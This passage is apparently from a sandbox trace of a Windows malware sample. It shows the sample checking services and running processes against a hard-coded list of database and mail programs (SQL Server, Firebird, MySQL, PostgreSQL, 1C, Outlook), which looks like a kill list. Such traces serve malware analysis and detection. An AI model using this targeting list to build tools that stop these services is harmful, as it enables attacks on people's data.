(lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0083.220] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0083.220] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0083.220] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0083.220] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0083.220] lstrlenW (lpString="RpcEptMapper") returned 12 [0083.220] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0083.220] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0083.220] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0083.220] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0083.220] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0083.220] lstrlenW (lpString="RpcSs") returned 5 [0083.220] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0083.220] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0083.220] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0083.220] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0083.220] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0083.220] lstrlenW (lpString="SamSs") returned 5 [0083.220] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0083.220] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0083.220] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0083.220] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0083.220] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0083.220] lstrlenW (lpString="Schedule") returned 8 [0083.220] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0083.220] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0083.220] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0083.220] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0083.220] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0083.221] lstrlenW (lpString="SENS") returned 4 [0083.221] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0083.221] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0083.221] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0083.221] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0083.221] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0083.221] lstrlenW (lpString="ShellHWDetection") returned 16 [0083.221] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0083.221] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0083.221] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0083.221] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0083.221] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0083.221] lstrlenW (lpString="Spooler") returned 7 [0083.221] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0083.221] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0083.221] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0083.221] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0083.221] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0083.221] lstrlenW (lpString="SysMain") returned 7 [0083.221] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0083.221] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0083.221] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0083.221] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0083.221] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0083.221] lstrlenW (lpString="Themes") returned 6 [0083.222] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0083.222] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0083.222] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0083.222] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0083.222] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0083.222] lstrlenW (lpString="TrkWks") returned 6 [0083.222] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0083.222] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0083.222] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0083.222] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0083.222] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0083.222] lstrlenW (lpString="UxSms") returned 5 [0083.222] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0083.222] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0083.222] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0083.222] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0083.222] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0083.222] lstrlenW (lpString="VSS") returned 3 [0083.222] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0083.222] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0083.222] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0083.222] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0083.222] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0083.222] lstrlenW (lpString="WdiServiceHost") returned 14 [0083.223] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0083.223] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0083.223] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0083.223] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0083.223] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0083.223] lstrlenW (lpString="WdiSystemHost") returned 13 [0083.223] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0083.223] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0083.223] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0083.223] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0083.223] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0083.223] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0083.223] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0083.223] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0083.223] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0083.223] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0083.223] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0083.223] lstrlenW (lpString="Winmgmt") returned 7 [0083.223] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0083.223] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0083.223] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0083.223] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0083.223] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0083.224] lstrlenW (lpString="WPDBusEnum") returned 10 [0083.224] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0083.224] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0083.224] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0083.224] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0083.224] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0083.224] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x622818 | out: hHeap=0x5d0000) returned 1 [0083.224] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1bc [0083.279] Process32FirstW (in: hSnapshot=0x1bc, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0083.280] Process32NextW (in: hSnapshot=0x1bc, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0083.281] lstrlenW (lpString="System") returned 6 [0083.281] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0083.281] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0083.281] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0083.281] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0083.281] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0083.281] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0083.281] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0083.281] Process32NextW (in: hSnapshot=0x1bc, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0083.282] lstrlenW (lpString="smss.exe") returned 8 [0083.282] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0083.282] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0083.282] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0083.282] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0083.282] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0083.282] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0083.282] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0083.282] Process32NextW (in: hSnapshot=0x1bc, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0083.283] lstrlenW (lpString="csrss.exe") returned 9 [0083.283] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0083.283] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0083.283] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0083.283] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0083.283] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0083.284] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0083.284] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0083.284] Process32NextW (in: hSnapshot=0x1bc, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0083.284] lstrlenW (lpString="wininit.exe") returned 11 [0083.284] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0083.284] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0083.284] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0083.284] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0083.285] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0083.285] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0083.285] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0083.285] Process32NextW (in: hSnapshot=0x1bc, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0083.286] lstrlenW (lpString="csrss.exe") returned 9 [0083.286] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0083.286] Process32NextW (in: hSnapshot=0x1bc, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0083.287] lstrlenW (lpString="winlogon.exe") returned 12 [0083.287] Process32NextW (in: hSnapshot=0x1bc, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0083.644] lstrlenW (lpString="services.exe") returned 12 [0083.644] Process32NextW (in: hSnapshot=0x1bc, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0083.646] lstrlenW (lpString="lsass.exe") returned 9 [0083.646] Process32NextW (in: hSnapshot=0x1bc, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0083.647] lstrlenW (lpString="lsm.exe") returned 7 [0083.647] Process32NextW (in: hSnapshot=0x1bc, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0083.648] lstrlenW (lpString="svchost.exe") returned 11 [0083.648] Process32NextW (in: hSnapshot=0x1bc, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0083.649] lstrlenW (lpString="svchost.exe") returned 11 [0083.649] Process32NextW (in: hSnapshot=0x1bc, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0083.650] lstrlenW (lpString="svchost.exe") returned 11 [0083.650] Process32NextW (in: hSnapshot=0x1bc, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0083.651] lstrlenW (lpString="svchost.exe") returned 11 [0083.652] Process32NextW (in: hSnapshot=0x1bc, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2f, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0083.653] lstrlenW (lpString="svchost.exe") returned 11 [0083.653] Process32NextW (in: hSnapshot=0x1bc, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0083.654] lstrlenW (lpString="audiodg.exe") returned 11 [0083.654] Process32NextW (in: hSnapshot=0x1bc, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0083.655] lstrlenW (lpString="svchost.exe") returned 11 [0083.655] Process32NextW (in: hSnapshot=0x1bc, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0083.656] lstrlenW (lpString="svchost.exe") returned 11 [0083.656] Process32NextW (in: hSnapshot=0x1bc, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0083.657] lstrlenW (lpString="dwm.exe") returned 7 [0083.657] Process32NextW (in: hSnapshot=0x1bc, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x43c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0083.659] lstrlenW (lpString="explorer.exe") returned 12 [0083.659] Process32NextW (in: hSnapshot=0x1bc, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0083.660] lstrlenW (lpString="spoolsv.exe") returned 11 [0083.660] Process32NextW (in: hSnapshot=0x1bc, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0083.661] lstrlenW (lpString="svchost.exe") returned 11 [0083.661] Process32NextW (in: hSnapshot=0x1bc, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0083.662] lstrlenW (lpString="taskhost.exe") returned 12 [0083.663] Process32NextW (in: hSnapshot=0x1bc, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0083.664] lstrlenW (lpString="taskeng.exe") returned 11 [0083.664] Process32NextW (in: hSnapshot=0x1bc, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="developingthousands.exe")) returned 1 [0083.665] lstrlenW (lpString="developingthousands.exe") returned 23 [0083.665] Process32NextW (in: hSnapshot=0x1bc, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="efattack.exe")) returned 1 [0083.666] lstrlenW (lpString="efattack.exe") returned 12 [0083.666] Process32NextW (in: hSnapshot=0x1bc, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x340, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="feedback.exe")) returned 1 [0083.667] lstrlenW (lpString="feedback.exe") returned 12 [0083.667] Process32NextW (in: hSnapshot=0x1bc, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x76c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="happy blond engage.exe")) returned 1 [0083.668] lstrlenW (lpString="happy blond engage.exe") returned 22 [0083.669] Process32NextW (in: hSnapshot=0x1bc, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="controller_type.exe")) returned 1 [0083.670] lstrlenW (lpString="controller_type.exe") returned 19 [0083.670] Process32NextW (in: hSnapshot=0x1bc, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x53c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="donations_berry.exe")) returned 1 [0083.671] lstrlenW (lpString="donations_berry.exe") returned 19 [0083.671] Process32NextW (in: hSnapshot=0x1bc, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="lindsay.exe")) returned 1 [0083.672] lstrlenW (lpString="lindsay.exe") returned 11 [0083.672] Process32NextW (in: hSnapshot=0x1bc, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="columnists.exe")) returned 1 [0083.673] lstrlenW (lpString="columnists.exe") returned 14 [0083.673] Process32NextW (in: hSnapshot=0x1bc, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x240, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="expected_converter_behind.exe")) returned 1 [0083.674] lstrlenW (lpString="expected_converter_behind.exe") returned 29 [0083.675] Process32NextW (in: hSnapshot=0x1bc, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="chose.exe")) returned 1 [0083.676] lstrlenW (lpString="chose.exe") returned 9 [0083.676] Process32NextW (in: hSnapshot=0x1bc, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="disciplinary_became.exe")) returned 1 [0083.677] lstrlenW (lpString="disciplinary_became.exe") returned 23 [0083.677] Process32NextW (in: hSnapshot=0x1bc, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="methods.exe")) returned 1 [0083.959] lstrlenW (lpString="methods.exe") returned 11 [0083.959] Process32NextW (in: hSnapshot=0x1bc, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="circulation.exe")) returned 1 [0083.960] lstrlenW (lpString="circulation.exe") returned 15 [0083.960] Process32NextW (in: hSnapshot=0x1bc, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="suited.exe")) returned 1 [0083.962] lstrlenW (lpString="suited.exe") returned 10 [0083.962] Process32NextW (in: hSnapshot=0x1bc, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="infrastructure.exe")) returned 1 [0083.963] lstrlenW (lpString="infrastructure.exe") returned 18 [0083.963] Process32NextW (in: hSnapshot=0x1bc, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x414, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="manager_olympic.exe")) returned 1 [0083.964] lstrlenW (lpString="manager_olympic.exe") returned 19 [0083.964] Process32NextW (in: hSnapshot=0x1bc, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="relaxation-senegal-ring.exe")) returned 1 [0083.965] lstrlenW (lpString="relaxation-senegal-ring.exe") returned 27 [0083.966] Process32NextW (in: hSnapshot=0x1bc, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="help_through_allowing.exe")) returned 1 [0083.967] lstrlenW (lpString="help_through_allowing.exe") returned 25 [0083.967] Process32NextW (in: hSnapshot=0x1bc, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, 